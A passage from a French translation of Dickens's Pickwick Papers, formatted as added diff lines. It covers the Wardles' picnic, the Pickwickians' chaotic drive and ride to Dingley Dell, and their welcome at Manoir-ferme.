+--Une bouteille de vin au gentleman sur le siége. Je suis charmé de vous
+voir, monsieur.
+
+--Bien obligé, répondit M. Winkle, en plaçant la bouteille à côté de
+lui.
+
+--Voulez-vous me permettre de prendre un verre de vin avec vous? dit M.
+Trundle à M. Winkle.
+
+--Avec grand plaisir,» repartit celui-ci; et les deux gentlemen prirent
+du vin ensemble; et tous les assistants, même les dames, suivirent leur
+judicieux exemple.
+
+«Comme notre chère Émily coquette avec ce jeune homme, observa tout bas
+à M. Wardle la tante demoiselle, avec toute l'envie convenable à une
+tante demoiselle.
+
+--Bah! répliqua le brave homme de père. Ça n'a rien d'extraordinaire.
+C'est fort naturel. M. Pickwick, un verre de vin?»
+
+M. Pickwick, interrompant pour un instant les profondes recherches qu'il
+faisait dans l'intérieur du pâté de pigeons, accepta en rendant grâce.
+
+«Émily, ma chère, dit la tante demoiselle avec un air de chaperon; ne
+parlez pas si haut, mon amour.
+
+--Plaît-il, ma tante?
+
+--Il paraît que ma tante et le vieux petit monsieur voudraient qu'il n'y
+en eût que peur eux, chuchota miss Isabella Wardle à sa soeur Émily. Puis
+les deux jeunes demoiselles se mirent à rire de tout leur coeur, et la
+vieille demoiselle s'efforça de prendre une physionomie aimable, mais
+elle ne put en venir à bout.
+
+«Les jeunes filles ont tant de gaieté! observa-t-elle à M. Tupman avec
+un air de tendre commisération, comme si la gaieté eût été marchandise
+de contrebande, et comme si c'eût été un crime que d'en porter sur soi
+sans avoir un laissez-passer; mais M. Tupman ne fit pas exactement la
+réponse désirée.
+
+--Vous avez bien raison, dit-il; c'est tout à fait charmant!
+
+--Hem! fit miss Wardle d'un ton dubitatif.
+
+--Voulez-vous me permettre, reprit M. Tupman, de la manière la plus
+insinuante, en touchant de la main gauche le poignet de la séduisante
+Rachel, tandis que de la main droite il levait tout doucement une
+bouteille. Voulez-vous me permettre?...
+
+--Oh! monsieur!»
+
+M. Tupman prit un air encore plus persuasif, et miss Rachel exprima la
+crainte qu'on ne tirât encore des coups de canon, ce qui aurait
+naturellement obligé son cavalier à la soutenir.
+
+«Trouvez-vous mes nièces jolies? murmura ensuite la tante affectueuse à
+l'oreille de M. Tupman.
+
+--Je les trouverais jolies si leur tante n'était pas ici, répondit le
+galant pickwickien, avec un regard passionné.
+
+--Oh! le méchant homme! Mais réellement, si elles avaient un peu de
+fraîcheur, ne trouvez-vous pas qu'elles feraient de l'effet.... à la
+lumière?
+
+--Oui,... je le crois, répliqua M. Tupman d'un air indifférent.
+
+--Oh! moqueur! Je sais ce que vous alliez dire.
+
+--Quoi donc? demanda M. Tupman, qui n'était pas bien décidé à dire
+quelque chose.
+
+--Vous alliez dire qu'Isabelle est voûtée. Je sais que vous l'alliez
+dire. Les hommes sont de si bons observateurs! Eh bien! c'est vrai; je
+ne puis pas le nier! Et certainement s'il y a quelque chose de vilain
+pour une jeune personne, c'est d'être voûtée. Je le lui dis souvent, et
+qu'elle deviendra tout à fait effroyable quand elle sera un peu plus
+vieille. Je vois que vous avez l'esprit malin.»
+
+M. Tupman, charmé d'obtenir cette réputation à si bon marché, s'efforça
+de prendre un air fin, et sourit mystérieusement.
+
+«Quel sourire sarcastique! s'écria l'inflammable Rachel. Je vous assure
+que vous m'effrayez.
+
+--Je vous effraye?
+
+--Oh! vous ne pouvez rien me cacher. Je sais ce que ce sourire signifie.
+
+--Hé bien? dit M. Tupman, qui lui-même n'en avait pas la plus légère
+idée.
+
+--Vous voulez dire, poursuivit l'aimable tante, en parlant encore plus
+bas, vous voulez dire que la tournure d'Isabelle vous déplaît encore
+moins que l'effronterie d'Émily. C'est vrai, elle est effrontée. Vous ne
+pouvez croire combien cela me rend parfois malheureuse. Je suis sûre que
+j'en ai pleuré pendant des heures entières. Mon cher frère est si bon,
+si peu soupçonneux, qu'il n'en voit rien. S'il le voyait, je suis
+certaine que cela lui briserait le coeur. Je voudrais pouvoir me
+persuader qu'il n'y a pas de mal au fond. Je le désire si vivement! (Ici
+l'affectueuse parente poussa un profond soupir, et secoua tristement la
+tête.)
+
+--Je suis sûre que ma tante parle de nous, dit tout bas miss Émily
+Wardle à sa soeur. J'en suis tout à fait sûre: elle a pris son air
+malicieux.
+
+--Tu crois, répondit Isabelle. Hem! tante, chère tante!
+
+--Oui, mon cher amour.
+
+--J'ai bien peur que vous ne vous enrhumiez, ma tante: mettez donc un
+mouchoir de soie autour de votre bonne vieille tête. Vous devriez
+prendre plus soin de vous, à votre âge.»
+
+Quoique cette revanche fut bien motivée, elle était tellement poignante
+qu'il est impossible d'imaginer de quelle manière se serait exhalé le
+courroux de la tante, si M. Wardle n'avait pas fait diversion, sans y
+penser, en criant d'une voix forte:
+
+«Joe! Damné garçon! il est encore à dormir!
+
+--Voilà un jeune homme bien extraordinaire, dit M. Pickwick. Est-ce
+qu'il est toujours assoupi comme cela?
+
+--Assoupi! Il dort toujours. Il fait mes commissions en dormant; et
+quand il sert à table, il ronfle.
+
+--Bien extraordinaire! répéta M. Pickwick.
+
+--Ha! extraordinaire en vérité, reprit le vieux gentleman. Je suis
+orgueilleux de ce garçon. Je ne voudrais m'en séparer à aucun prix, sur
+mon âme. C'est une curiosité naturelle. Hé! Joe! Joe! ôtez tout cela, et
+débouchez une autre bouteille, m'entendez-vous?»
+
+Le gros joufflu ouvrit les yeux, avala l'énorme morceau de pâté qu'il
+était en train de mastiquer lorsqu'il s'était endormi, et tout en
+exécutant les ordres de son maître, il lorgnait languissamment les
+débris de la fête, à mesure qu'il les remettait dans la bourriche. La
+nouvelle bouteille fut débouchée et vidée rapidement: la bourriche fut
+rattachée à son ancienne place, le gros joufflu remonta sur le siége;
+les besicles et les lunettes d'approche furent braquées sur nouveaux
+frais, et les évolutions des soldats recommencèrent. Il y eut encore un
+grand tapage de canons et de grandes terreurs de femmes; puis on fit
+jouer une mine à l'immense satisfaction de tout le monde; et quand la
+mine eut parti, les troupes et les spectateurs suivirent son exemple, et
+partirent aussi.
+
+A la fin d'une conversation interrompue par les décharges, le vieux
+gentleman dit à M. Pickwick, en lui secouant la main:
+
+«Souvenez-vous que vous venez tous nous voir demain matin.
+
+--Très-certainement, répliqua M. Pickwick.
+
+--Vous avez l'adresse?
+
+--Manoir-ferme, Dingley-Dell, répondit M. Pickwick en consultant son
+mémorandum.
+
+--C'est cela; et songez bien que je vous garde au moins une semaine. Je
+me charge de vous faire voir tout ce qu'il y a de curieux aux environs,
+et puisque vous voulez étudier la vie champêtre, venez chez moi, je vous
+en donnerai, en veux-tu, en voilà. Joe! Damné garçon! il est encore à
+dormir. Joe, aidez Tom à mettre les chevaux.»
+
+Les chevaux furent mis; le cocher monta sur son siége, le gros joufflu
+grimpa à côté de lui; les adieux furent échangés, et le carrosse roula.
+Au moment où les pickwickiens se retournèrent pour l'apercevoir encore
+une fois, le soleil couchant jetait une teinte chaleureuse sur le visage
+de leur hôte, et faisait ressortir l'attitude somnolente du gros
+joufflu: il avait laissa tomber sa tête sur sa poitrine, et il était
+encore à dormir!
+
+
+
+
+
+CHAPITRE V.
+
+Faisant voir entre autres choses comment M. Pickwick entreprit de
+conduire une voiture, et M. Winkle de monter un cheval; et comment l'un
+et l'autre en vinrent à bout.
+
+
+Le ciel était brillant et calme; l'air semblait embaumé; tous les objets
+de la création étaient remplis d'un charme inexprimable, et M. Pickwick,
+appuyé sur le parapet du pont de Rochester, contemplait la nature, et
+attendait l'heure du déjeuner.
+
+La scène qui se déroulait à ses regards aurait pu charmer un esprit bien
+moins admirateur des beautés champêtres. A sa gauche s'étendait une
+antique muraille, éboulée dans beaucoup d'endroits, mais qui, dans
+d'autres, dominait de sa masse sombre, les rives verdoyantes de la
+Medway. Des touffes de lierre couronnaient tristement les noirs
+créneaux, tandis que des festons de plantes marines, suspendues aux
+pierres dentelées, tremblaient au souffle du vent. Derrière ces ruines
+s'élevait le vieux château, dont les tours sans toiture, dont les
+murailles croulantes attestaient encore l'ancienne grandeur, lorsque le
+bruit des armes ou les chants de fête retentissaient sous ses voûtes
+splendides. De chaque côté, aussi loin que la vue pouvait s'étendre, on
+apercevait les bords de la rivière couverts de prairies et de champs de
+blé, au milieu desquels se détachaient çà et là des moulins et des
+églises; paysage riche et varié, que rendaient plus admirable encore les
+ombres errantes des légers nuages qui flottaient dans la lumière du
+soleil matinal. La Medway, réfléchissant l'azur argenté du ciel, coulait
+silencieusement en nappes brillantes; et parfois, avec un léger
+murmure, elle étincelait sous les rames des pêcheurs, qui suivaient
+lentement le courant, dans leurs bateaux lourds mais pittoresques.
+
+La vue de ce riant tableau avait plongé M. Pickwick dans une agréable
+rêverie. Il en fut tiré par un profond soupir qu'il entendit auprès de
+lui, et par un léger coup frappé sur son épaule. Il se retourna et
+reconnut l'homme lugubre.
+
+«Vous contempliez cette scène? lui dit celui-ci d'une voix grave.
+
+--Oui, monsieur, répliqua M. Pickwick.
+
+--Et vous vous félicitiez d'être levé de si bonne heure?»
+
+M. Pickwick fit un signe d'assentiment.
+
+«Ah! il faut se lever de bonne heure en effet, pour voir le soleil dans
+sa splendeur, car son éclat dure rarement pendant toute la journée. Le
+commencement du jour et le matin de la vie ne sont, hélas! que trop
+semblables!
+
+--Vous avez raison, monsieur.
+
+--On dit souvent, continua l'homme lugubre, on dit souvent: le temps est
+trop beau ce matin, cela ne durera pas. Avec quelle justesse cette
+réflexion s'applique à notre existence! Que ne donnerais-je pas pour
+revoir les jours de mon enfance, ou pour les oublier à jamais!
+
+--Vous avez eu beaucoup de chagrins? demanda M. Pickwick avec
+compassion.
+
+--Oui certes, répliqua l'homme lugubre d'une voix saccadée; plus qu'on
+ne pourrait le croire en me voyant aujourd'hui. Il s'arrêta une minute
+et reprit brusquement: Avez-vous jamais pensé, par une matinée comme
+celle-ci, que ce serait une chose douce et délicieuse de se noyer?
+
+--Non! que Dieu me protège! s'écria M. Pickwick, en se reculant un peu,
+dans la crainte que l'étranger n'eût envie de le pousser par-dessus le
+parapet pour faire une expérience.
+
+--Moi, je l'ai souvent pensé, poursuivit l'homme lugubre sans avoir
+l'air de remarquer ce mouvement: cette eau froide et tranquille semble
+m'inviter, en murmurant, à y chercher le repos et l'oubli. On saute...
+pouf!... on se débat un instant... l'onde s'élève par-dessus votre
+tête... le tourbillon s'efface... l'eau redevient claire... et vos
+douleurs sont à jamais terminées!»
+
+L'oeil caverneux de l'homme lugubre lançait des flammes tandis qu'il
+parlait ainsi. Mais cette excitation momentanée s'apaisa bientôt; il se
+détourna d'un air calme, et dit:
+
+«En voilà assez sur ce sujet: je voulais vous parler d'autre chose.
+Vous m'avez invité hier soir à vous lire une anecdote, et vous l'avez
+écoutée attentivement....
+
+--Oui certainement, dit M. Pickwick, et je pensais....
+
+--Je ne vous ai pas demandé votre opinion, interrompit l'homme lugubre,
+et je n'en ai pas besoin. Vous voyagez pour vous amuser et pour vous
+instruire; supposez que je vous adresse un manuscrit curieux.... Faites
+attention;--non pas improbable ni extraordinaire, mais curieux comme une
+page du roman de la vie réelle;--le communiqueriez-vous au club dont
+vous m'avez parlé si souvent?
+
+--Certainement, si vous le désirez; et nous le ferons insérer dans les
+mémoires du club.
+
+--Vous l'aurez donc, répliqua l'homme lugubre. Votre adresse?»
+
+M. Pickwick lui ayant communiqué son itinéraire probable, l'homme
+lugubre le nota soigneusement dans un portefeuille assez gros, ramena le
+savant gentleman à son hôtel, et refusant le déjeuner qu'il lui offrait,
+s'éloigna d'un pas lent et sombre.
+
+Les trois compagnons de M. Pickwick l'attendaient pour attaquer le
+déjeuner qui était déjà disposé sur la table d'une façon fort
+séduisante. Ils s'assirent avec lui, et le jambon grillé, les oeufs, le
+café, le thé et le reste, commencèrent à disparaître avec une rapidité
+qui témoignait, à la fois, en faveur de la bonne chère et de l'appétit
+des voyageurs.
+
+«Maintenant, dit M. Pickwick, il s'agit de savoir comment nous irons à
+Manoir-ferme.
+
+--Nous ferions peut-être bien de consulter le garçon, suggéra M. Tupman;
+et ce judicieux conseil ayant été accueilli comme il le méritait, le
+garçon fut appelé et consulté.
+
+--Dingley-Dell, monsieur? Quinze milles, monsieur; chemin de traverse,
+mauvaise route.... Une chaise de poste, monsieur?
+
+--Une chaise de poste ne tient que deux, répondit M. Pickwick.
+
+--C'est vrai, monsieur, cependant je vous demande pardon, monsieur: nous
+avons une très-jolie chaise à quatre roues: deux places au fond, un
+siége pour le gentleman qui conduit.... Oh! je vous demande pardon,
+monsieur, elle ne peut tenir que trois.
+
+--Comment donc ferons-nous? dit M. Snodgrass.
+
+--Peut-être qu'un de ces messieurs aimerait à faire la route à cheval,
+dit le garçon en regardant M. Winkle. Nous avons de très-bons chevaux de
+selle, monsieur. Les gens de M. Wardle, en venant à Rochester,
+pourraient les ramener, monsieur.
+
+--Voilà notre affaire, s'écria M. Pickwick, Winkle, voulez-vous faire la
+route à cheval?»
+
+M. Winkle éprouvait, dans les plus secrets replis de son coeur, des
+doutes accablants sur sa science équestre; mais, comme il n'aurait voulu
+les laisser soupçonner à aucun prix, il répondit sur-le-champ avec une
+noble hardiesse: «Certainement, j'en serai charmé!» Il s'était précipité
+lui-même au-devant de sa destinée: il n'y avait plus à reculer.
+
+«Amenez-les à onze heures, dit alors M. Pickwick au garçon.
+
+--Très-bien, monsieur,» répliqua celui-ci, et il sortit.
+
+Le déjeuner achevé, les voyageurs montèrent dans leurs chambres pour
+préparer les effets qu'ils voulaient emporter avec eux.
+
+M. Pickwick avait terminé ses arrangements préliminaires, et regardait
+dans la rue par-dessus les stores du café, lorsque le garçon entra, et
+annonça que la chaise était prête, ce qui fut confirmé par l'apparition
+de ladite chaise derrière les susdits stores.
+
+C'était une petite boîte verte, posée sur quatre roues; sur le devant
+s'élevait une espèce de perchoir pour le cocher; sur le derrière se
+trouvait un banc rétréci, pour deux patients. Cette curieuse machine
+était mise en mouvement par un immense cheval brun, sur lequel on
+pouvait étudier l'ostéologie avec beaucoup de facilité. Un valet
+d'écurie tenait par la bride, pour M. Winkle, un autre cheval immense,
+apparemment parent très-proche de l'animal du cabriolet.
+
+«Dieu nous protège! dit M. Pickwick, tandis qu'on mettait leurs paquets
+dans la voiture; Dieu nous protège! Qui est-ce qui va conduire? Je n'y
+avais point songé.
+
+--Vous naturellement, repartit M. Tupman.
+
+--Naturellement, ajouta M. Snodgrass.
+
+--Moi! s'écria M. Pickwick.
+
+--Il n'y a pas le plus petit danger, monsieur, insinua le valet
+d'écurie. Je vous le garantis pour la douceur: un enfant au maillot le
+conduirait.
+
+--Il n'est pas ombrageux, hein?
+
+--Ombrageux? il ne broncherait pas quand il verrait passer une charretée
+de singes, avec la queue en feu.»
+
+Cette dernière recommandation était convaincante. M. Tupman et M.
+Snodgrass furent précieusement enfermés dans la caisse. M. Pickwick
+monta sur son perchoir, et appuya ses pieds sur une planche revêtue d'un
+tapis de toile cirée qu'il supposa être destinée à cet usage.
+
+«Maintenant, brillant William, dit le valet d'écurie à son adjoint;
+donne les rubans au gentleman.»
+
+Brillant William, ainsi dénommé sans doute à cause de ses cheveux gras
+et de sa figure huileuse, plaça les guides dans la main gauche de M.
+Pickwick, tandis que son supérieur insinuait le fouet dans la main
+droite du philosophe.
+
+«Tout beau! cria M. Pickwick, car le grand quadrupède témoignait une
+inclination décidée à reculer dans la fenêtre du café.
+
+--Tout beau! répétèrent MM. Tupman et Snodgrass, de leur caisse.
+
+--Il s'amuse un peu, messieurs, voilà tout, dit le premier garçon
+d'écurie d'un ton encourageant. Tenez-le un instant, William.»
+
+Le substitut restreignit l'impétuosité de l'animal, et l'écuyer en chef
+courut aider M. Winkle à monter en selle.
+
+«De l'autre côté, monsieur, s'il vous plaît.
+
+--J'veux et' pendu, si le gentleman n'allait pas monter à l'envers!» dit
+un postillon grimaçant, au garçon de l'hôtel, qui paraissait goûter une
+satisfaction indicible.
+
+M. Winkle ayant reçu cet avis se hissa sur sa selle, avec autant de
+difficultés, à peu près, qu'il en aurait éprouvé pour monter sur un
+vaisseau de guerre.
+
+«Tout va-t-il bien? demanda M. Pickwick, tourmenté par un sentiment
+intuitif que tout allait mal.
+
+--Tout va bien, répondit faiblement M. Winkle.
+
+--En route! cria le valet d'écurie. Tenez-le bien, monsieur.»
+
+Et parmi les éclats de rire de tous les assistants, la voiture et le
+cheval de selle décampèrent, M. Pickwick sur le siége de l'un, et M.
+Winkle sur le dos de l'autre.
+
+«Pourquoi donc va-t-il ainsi de travers? demanda M. Snodgrass, de dedans
+sa boîte, à M. Winkle sur sa selle.
+
+--Je n'y comprends rien du tout,» répliqua le pauvre cavalier, dont le
+cheval, en effet, s'avançait d'une manière excentrique, un de ses flancs
+en avant, la tête d'un côté de la rue, la queue de l'autre.
+
+M. Pickwick n'avait point le loisir d'observer ce qui se passait
+derrière lui, car il était obligé de concentrer toutes ses facultés
+ratiocinantes sur la conduite de l'animal attaché à la voiture. Celui-ci
+déployait des singularités, fort amusantes pour un spectateur
+désintéressé, mais fort peu rassurantes pour ceux qui se trouvaient
+entraînés à sa suite. Secouant sans cesse sa tête d'une manière aussi
+déplaisante qu'incommode, il pesait sur les guides avec tant de force
+que M. Pickwick avait beaucoup de peine à le soutenir, et pour comble
+d'infortune il éprouvait un étrange plaisir à se jeter tout d'un coup
+sur un côté de la route. Là il s'arrêtait court; puis il repartait
+pendant quelques minutes avec une vélocité qu'il était physiquement
+impossible de modérer.
+
+Il venait d'exécuter cette manoeuvre pour la vingtième fois, lorsque M.
+Snodgrass dit à son compagnon:
+
+«Qu'a donc ce cheval?
+
+--Je n'en sais rien, répondit M. Tupman. N'est-ce pas qu'il serait
+ombrageux? Cela m'en a bien l'air.»
+
+M. Snodgrass allait répliquer, quand il fut interrompu par un cri de M.
+Pickwick.
+
+«Oh! disait-il. J'ai laissé tomber mon fouet!»
+
+Dans ce moment, M. Winkle, avec son chapeau enfoncé sur ses oreilles,
+arrivait en trottant sur l'énorme cheval, qui le secouait avec tant de
+violence qu'il semblait devoir le mettre en pièces.
+
+«Winkle, lui cria M. Snodgrass. Vous qui êtes un bon garçon, ramassez
+donc le fouet.»
+
+M. Winkle, se penchant en arrière, tira la bride avec tant d'efforts que
+son visage en devint tout noir. Lorsqu'il fut parvenu à arrêter son
+grand coursier, il descendit, tendit le fouet à M. Pickwick, et,
+saisissant les rênes, se prépara à remonter.
+
+Nous ne saurions dire, et on le comprendra facilement, si le grand
+cheval, dans l'innocente gaieté de son coeur, voulut s'amuser un peu avec
+M. Winkle; on s'il s'imagina qu'il trouverait plus de plaisir à faire la
+route sans cavalier; mais, quels que fussent ses motifs déterminants, le
+fait est que M. Winkle avait à peine touché les rênes, lorsque l'animal,
+baissant la tête, les fit glisser par-dessus, et s'élança en arrière de
+toute leur longueur.
+
+«Bonne bête, dit M. Winkle d'une voix insinuante; bon vieux cheval!»
+
+Mais la bonne bête était à l'épreuve de la flatterie, et plus M. Winkle
+s'efforçait de l'approcher, plus elle avait soin de se tenir à distance:
+tellement qu'au bout de dix minutes, et malgré toutes sortes de
+cajoleries et de ruses, M. Winkle et le grand cheval, après avoir
+continuellement tourné l'un autour de l'autre se retrouvaient exactement
+dans la même position. C'était une situation fort désagréable en toutes
+circonstances, et principalement sur une route déserte, où l'on ne
+pouvait se procurer aucun secours.
+
+Ce manège s'étant prolongé encore quelque temps, M. Winkle cria à ses
+compagnons:
+
+«Comment vais-je faire? Je ne puis pas monter dessus?
+
+--Vous ferez bien de le conduire ainsi jusqu'à ce que nous arrivions à
+une barrière; répliqua M. Pickwick de son siége.
+
+--Mais il ne veut pas avancer! s'écria M. Winkle, venez, je vous en
+prie, me le tenir un peu.
+
+M. Pickwick était la personnification de l'obligeance et de l'humanité.
+Il jeta les guides sur le dos de son cheval, descendit du siége,
+conduisit soigneusement la voiture le long de la haie, afin de ne point
+embarrasser la route, et retourna vers son compagnon pour soulager sa
+détresse, laissant dans la voiture M. Tupman et M. Snodgrass.
+
+Aussitôt que le cheval vit M. Pickwick s'avancer vers lui avec son grand
+fouet dans sa main, il fit succéder au mouvement de rotation dont il
+s'était amusé jusqu'alors un mouvement rétrograde si décidé, qu'il força
+M. Winkle, qui ne voulait pas lâcher le bout de la bride, à marcher
+d'une vitesse extrême du côté de Rochester. M. Pickwick courut à son
+secours; mais plus M. Pickwick courait en avant, plus le cheval courait
+en arrière. Ses pieds sonnaient sur la route; la poussière volait autour
+de lui, et, à la fin, M. Winkle, dont les bras étaient presque
+démantibulés, fut obligé de laisser aller la bride. Le cheval s'arrêta,
+regarda autour de lui d'un air étonné, se retourna, et se mit à trotter
+tranquillement vers son écurie, laissant là M. Winkle et M. Pickwick,
+qui échangèrent entre eux des regards de désappointement. Tout à coup le
+roulement d'une voiture à peu de distance attira leur attention; ils
+tournèrent la tête: «Il ne manquait plus que cela! s'écria M. Pickwick
+avec désespoir; voilà l'autre cheval qui s'en va aussi!»
+
+Cela n'était que trop vrai. Le bucéphale de la chaise avait été effrayé
+par le bruit que faisait son compagnon; il avait la bride sur le cou, et
+l'on peut sans peine imaginer le résultat!
+
+Il s'échappa, entraînant avec rapidité MM. Tupman et Snodgrass. Hélas!
+leur carrière ne fut pas longue. M. Tupman, hors de lui-même, se jeta
+dans la haie, et M. Snodgrass suivit instinctivement son exemple. Le
+cheval brisa la voiture contre un pont de bois, sépara les roues du
+brancard, le brancard de la caisse, et, finalement, resta immobile à
+contempler les ruines qu'il avait faites.
+
+Le premier soin des deux amis intacts fut d'extraire les deux amis
+naufragés de leur lit d'épines. Quand ils y furent parvenus, ils
+s'aperçurent avec une satisfaction inexprimable que ceux-ci n'avaient
+pas souffert de dommage sérieux, et qu'ils en étaient quittes pour de
+nombreuses déchirures dans leurs vêtements et dans leur peau. Tous
+ensemble, ils s'occupèrent alors à débarrasser le cheval des débris de
+la chaise; et lorsque cette opération compliquée fut terminée, ils le
+placèrent au milieu d'eux, et poursuivirent lentement leur chemin,
+abandonnant les restes de la voiture à leur triste destinée.
+
+Une heure de marche amena nos voyageurs auprès d'une petite auberge
+plantée entre deux ormes sur le bord de la route. On voyait par-devant
+une grande auge et une énorme enseigne; par derrière, une ou deux meules
+déformées; sur le côté, un jardin potager; et tout autour, entassés dans
+une étrange confusion, des hangars ruinés et des appentis couverts de
+mousse. Un paysan, porteur d'une tête rousse, travaillait dans le
+jardin. M. Pickwick l'aperçut et lui cria: «Ohé, là bas!» Le paysan se
+releva lentement, abrita ses yeux avec ses mains, et examina froidement
+M. Pickwick et ses compagnons.
+
+«Ohé, là bas! répéta M. Pickwick.
+
+--Ohé, répondit la tête rousse.
+
+--Combien y a-t-il d'ici à Dingley-Dell?
+
+--Sept bons milles.
+
+--La route est-elle bonne?
+
+--Non!» rétorqua brièvement le paysan. Puis, ayant fait subir à nos
+voyageurs un nouvel examen, il se remit à travailler, sans s'occuper
+d'eux davantage.
+
+«Nous voudrions laisser ce cheval ici, reprit M. Pickwick.
+
+--Laisser le cheval ici? répéta l'homme en s'appuyant sur sa bêche.
+
+--Précisément, répondit M. Pickwick, qui s'était avancé avec son
+coursier jusqu'à la porte de la palissade du jardin.
+
+--Maîtresse! beugla l'homme à la tête rousse, en sortant du potager et
+en regardant le cheval d'un air soupçonneux; maîtresse!»
+
+Une grande femme osseuse et toute droite du haut en bas répondit à cet
+appel. Elle était couverte d'un gros sarrau bleu, et sa taille se
+trouvait à un pouce ou deux de ses aisselles.
+
+«Ma bonne femme, dit M. Pickwick en s'approchant et en faisant usage de
+sa voix la plus insinuante, pouvons-nous laisser ce cheval ici?»
+
+Le paysan dit quelque chose à l'oreille de la grande femme. Celle-ci
+regarda toute la caravane du haut en bas, et, après un instant de
+réflexion, répondit: «Non, je n'en avons pas le coeur!
+
+--Le coeur! répéta M. Pickwick; qu'est-ce qu'elle parle de son coeur?
+
+--J'avons été inquiétée pour ça l'autre fois, dit la femme, en rentrant
+dans la maison, et je ne voulons pu rien y voir.
+
+--Voilà la chose la plus extraordinaire qui me soit jamais arrivée dans
+tous mes voyages, s'écria M. Pickwick, rempli d'étonnement.
+
+--Je crois.... je crois réellement, murmura M. Winkle à ses amis, je
+crois qu'ils nous soupçonnent d'avoir dérobé ce cheval.
+
+--Comment! s'écria M. Pickwick, avec une explosion d'indignation. M.
+Winkle répéta modestement l'opinion qu'il venait d'émettre.
+
+--Ohé! l'homme! cria M. Pickwick, irrité, pensez-vous donc que nous
+avons volé ce cheval?
+
+--Je ne le crois pas, j'en suis sûr! répondit l'homme à la tête rouge,
+avec une espèce de sourire qui agita toute sa physionomie de l'une à
+l'autre oreille; et en parlant ainsi, il entra dans la maison, dont il
+ferma soigneusement la porte.
+
+--C'est comme un rêve! s'écria M. Pickwick, un hideux cauchemar! O ciel!
+imaginez-vous un homme marchant toute une journée, poursuivi par un
+cheval épouvantable, dont il ne peut pas se débarrasser!
+
+Les pickwickiens abattus se remirent tristement en route, l'énorme
+quadrupède, pour qui ils ressentaient le plus profond dégoût, marchant
+lentement sur leurs talons.
+
+L'après-midi était fort avancée lorsque nos quatre amis, toujours suivis
+du malencontreux animal, arrivèrent enfin dans la ruelle qui conduisait
+à Manoir-ferme. Mais quoiqu'ils touchassent au terme de leurs fatigues,
+leur satisfaction était prodigieusement amortie par l'absurde
+singularité de leur apparence; des habits déchirés, des visages
+égratignés, des souliers sales, des figures exténuées; et par-dessus
+tout, l'affreux cheval. Oh! combien M. Pickwick le maudissait! De temps
+en temps il jetait sur lui des regards où se peignaient la haine et le
+désir d'une épouvantable vengeance. Plus d'une fois, il avait calculé le
+montant probable de ce qu'il faudrait payer pour avoir la satisfaction
+de lui couper la gorge; et maintenant la tentation de l'assassiner ou de
+l'abandonner dans les champs déserts se présentait à son esprit avec dix
+fois plus de violence. Cependant il avançait toujours, et à l'un des
+détours de la ruelle, il fut distrait de ses horribles pensées par
+l'apparition soudaine de deux personnages. C'étaient M. Wardle et son
+fidèle serviteur, le gros garçon rougeaud.
+
+«Eh bien! où donc avez-vous été? demanda le gentleman hospitalier. Je
+vous ai attendu toute la journée. Vous avez l'air fatigués. Quoi! des
+égratignures! pas de blessures, j'espère?... Non... j'en suis bien aise.
+Vous avez versé? N'y pensez plus, c'est un accident commun dans ce
+pays-ci.--Joe, damné garçon, il est encore à dormir! Joe, prenez ce
+cheval et conduisez-le dans l'écurie.»
+
+Le gros joufflu tenant en bride le fatal coursier, se traîna d'un pas
+paresseux derrière la compagnie, tandis que le vieux gentleman
+s'efforçait de consoler ses hôtes de la partie de leurs aventures qu'ils
+jugèrent à propos de lui communiquer.
+
+Arrivés à Manoir-ferme, il commença par les faire entrer dans la cuisine
+en leur disant: «Nous allons tout réparer ici, et ensuite je vous
+introduirai dans le salon.--Emma, apportez l'eau-de-vie de
+cerises.--Maintenant, Jane, une aiguille et du fil.--Mary, des
+serviettes et de l'eau. Allons vite, mes filles, dépêchons.»
+
+Trois ou quatre grosses réjouies se dispersèrent rapidement pour aller
+chercher les articles demandés, tandis qu'un couple de domestiques
+mâles, aux têtes rondes et aux larges visages, se levèrent des siéges
+qu'ils occupaient auprès de la cheminée comme s'ils avaient été à Noël,
+se plongèrent dans l'obscurité de divers recoins, et en ressortirent
+bientôt, armés d'une bouteille de cirage et d'une demi-douzaine de
+brosses.
+
+«Allons, vite!» répéta le vieux gentleman. Mais c'était une exhortation
+tout à fait inutile, car l'une des servantes versait l'eau-de-vie,
+l'autre apportait les serviettes, et l'un des hommes saisissant
+soudainement M. Pickwick par la jambe, au hasard imminent de lui faire
+perdre l'équilibre, brossait ses bottes avec tant d'ardeur que ses cors
+en rougirent au blanc. Dans le même temps, un second domestique frottait
+M. Winkle avec une énorme brosse, tout en produisant avec sa bouche
+cette espèce de sifflement que les garçons d'écurie ont l'habitude de
+faire entendre quand ils étrillent un cheval.
+
+Quant à M. Snodgrass, après avoir terminé ses ablutions, il tourna son
+dos au feu, et savourant avec délices son eau-de-vie, il se mit à
+examiner la pièce où il se trouvait.
+
+D'après la description qu'il en a faite, c'était une vaste chambre pavée
+de briques rouges. La cheminée paraissait immense; le plafond s'honorait
+d'une garniture de bottes d'oignons, de jambons et de lard; les murs
+étaient décorés de plusieurs cravaches, de deux ou trois brides, d'une
+selle et d'une vieille espingole rouillée. Au-dessous de celle-ci, on
+lisait en gros caractère: CHARGÉE, et elle devait l'être depuis plus
+d'un demi-siècle, s'il fallait en croire son apparence et celle de
+l'inscription. Un vieux coucou, au mouvement tranquille et solennel,
+tictaquait gravement dans un coin, tandis qu'une montre d'argent, d'une
+égale antiquité, se dandinait à l'un des nombreux crochets dont la
+muraille était semée.
+
+«Êtes-vous prêts? demanda le vieux gentleman à ses hôtes, quand il les
+vit bien lavés, bien recousus, bien brossés, bien restaurés.
+
+--Tout à fait, répondit M. Pickwick.
+
+--Alors, venez avec moi.» Trois des voyageurs le suivirent à travers
+plusieurs corridors sombres, ils furent rejoints à la porte du salon par
+M. Tupman, qui était resté derrière pour dérober un baiser à Emma, mais
+qui n'avait obtenu, pour toute récompense, qu'un certain nombre de
+bourrades et d'égratignures. Cependant le vieillard les introduisit en
+disant: «Gentlemen, soyez les bienvenus à Manoir-ferme.»
+
+
+
+
+CHAPITRE VI.
+
+Une soirée d'autrefois. Histoire racontée par un ecclésiastique.
+
+
+Plusieurs visites réunies dans le salon se levèrent pour recevoir les
+nouveaux venus, et pendant qu'on accomplissait les formalités
+cérémonieuses des introductions, M. Pickwick eut le loisir d'examiner la
+figure des assistants et de spéculer sur leur caractère et sur leurs
+occupations. C'était un genre d'amusement auquel il se livrait
+volontiers, ainsi que beaucoup d'autres grands hommes.
+
+Une très-vieille dame, avec un énorme bonnet et une robe de soie fanée,
+occupait le poste d'honneur à l'angle droit de la cheminée. Ce n'était
+pas un moindre personnage que la mère de M. Wardle. Plusieurs
+certificats, prouvant qu'elle avait été bien élevée et n'avait pas
